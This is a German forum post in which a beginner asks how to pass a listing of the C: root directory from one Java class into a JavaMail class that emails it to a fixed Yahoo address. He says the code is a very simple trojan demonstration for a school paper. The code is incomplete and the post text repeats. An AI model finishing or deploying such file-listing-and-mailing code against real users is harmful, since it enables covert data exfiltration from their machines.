Hallo zusammen,
ich bin noch Einsteiger im Bereich der Java Programmierung und stehe momentan vor folgendem Problem:
diese Klasse soll alle Dateien und Ordner vom Stammverzeichnis von "C:" auslesen und in einem String speichern (oder doch in einem Array?)
Das funktioniert soweit ganz gut, wenn man sich das Verzeichnis in der Konsole ausgeben lässt.
Doch nun das eigentliche Problem. Die nachfolgende Klasse soll eine E-Mail senden mit dem Stammverzeichnisinhalt von "C:". Doch wie sage ich nun, dass er die Variable aus der "DateiAusgeben" Klasse verwenden soll (bei "String text")
hier die Mailsender Klasse:
Das ganze soll im Rahmen einer Facharbeit die Funktionsweise eines Trojaners extrem simpel darstellen :rtfm:
Die muss aber bis Freitag fertig sein und die Demonstration hier ist das einzige was leider noch fehlt
Grüße
Johannes
ich bin noch Einsteiger im Bereich der Java Programmierung und stehe momentan vor folgendem Problem:
diese Klasse soll alle Dateien und Ordner vom Stammverzeichnis von "C:" auslesen und in einem String speichern (oder doch in einem Array?)
Java:
/**
*
*/
import java.io.File;
/**
*
*/
public class DateiAusgeben {
public String verzeichnis;
/**
* @param args
*/
public void auslesen(String[] args) throws Exception {
File driveC = new File("c:/");
//Alle Verzeichnis im Root listen...
String[] rootDirectories = driveC.list();
for (int i = 0; i < rootDirectories.length; i++) {
String verzeichnis = rootDirectories[i] + "########ENDE#############" ;
}
}
}
Das funktioniert soweit ganz gut, wenn man sich das Verzeichnis in der Konsole ausgeben lässt.
Doch nun das eigentliche Problem. Die nachfolgende Klasse soll eine E-Mail senden mit dem Stammverzeichnisinhalt von "C:". Doch wie sage ich nun, dass er die Variable aus der "DateiAusgeben" Klasse verwenden soll (bei "String text")
hier die Mailsender Klasse:
Java:
import java.util.Date;
import java.util.Properties;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/**
*
*/
public class SendMailExample {
public void sendMail(String smtpHost,String username,String password,String senderAddress,String recipientsAddress,String subject,String text ){
MailAuthenticator auth = new MailAuthenticator(username, password);
Properties properties = new Properties();
// Den Properties wird die ServerAdresse hinzugefügt
properties.put("mail.smtp.host", smtpHost);
// !!Wichtig!! Falls der SMTP-Server eine Authentifizierung
// verlangt
// muss an dieser Stelle die Property auf "true" gesetzt
// werden
properties.put("mail.smtp.auth", "true");
// Hier wird mit den Properties und dem implements Contructor
// erzeugten
// MailAuthenticator eine Session erzeugt
Session session = Session.getDefaultInstance(properties, auth);
try {
// Eine neue Message erzeugen
Message msg = new MimeMessage(session);
// Hier werden die Absender- und Empfängeradressen gesetzt
msg.setFrom(new InternetAddress(senderAddress));
msg.setRecipients(Message.RecipientType.TO, InternetAddress.parse(
recipientsAddress, false));
// Der Betreff und Body der Message werden gesetzt
msg.setSubject(subject);
msg.setText(text);
// Hier lassen sich HEADER-Informationen hinzufügen
msg.setHeader("Test", "Test");
msg.setSentDate(new Date( ));
// Zum Schluss wird die Mail natürlich noch verschickt
Transport.send(msg);
}
catch (Exception e) {
e.printStackTrace( );
}
}
class MailAuthenticator extends Authenticator {
/**
* Ein String, der den Usernamen nach der Erzeugung eines
* Objektes<br>
* dieser Klasse enthalten wird.
*/
private final String user;
/**
* Ein String, der das Passwort nach der Erzeugung eines
* Objektes<br>
* dieser Klasse enthalten wird.
*/
private final String password;
/**
* Der Konstruktor erzeugt ein MailAuthenticator Objekt<br>
* aus den beiden Parametern user und passwort.
*
* @param user
* String, der Username fuer den Mailaccount.
* @param password
* String, das Passwort fuer den Mailaccount.
*/
public MailAuthenticator(String user, String password) {
this.user = user;
this.password = password;
}
/**
* Diese Methode gibt ein neues PasswortAuthentication
* Objekt zurueck.
*
* @see javax.mail.Authenticator#getPasswordAuthentication()
*/
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(this.user, this.password);
}
}
public void sendeMail(String[] args) {
String username = "facharbeit_sender";
String password = "...";
String senderAddress ="facharbeit_sender@yahoo.de";
String recipientsAddress = "facharbeit_empfaenger@yahoo.de";
String subject = "Log: "+ new Date();
String smtpHost = "smtp.mail.yahoo.de";
String text = ??????????????????????;
new SendMailExample().sendMail(smtpHost, username, password, senderAddress, recipientsAddress, subject, text);
}
}
Das ganze soll im Rahmen einer Facharbeit die Funktionsweise eines Trojaners extrem simpel darstellen :rtfm:
Die muss aber bis Freitag fertig sein und die Demonstration hier ist das einzige was leider noch fehlt
Grüße
Johannes
Zuletzt bearbeitet von einem Moderator: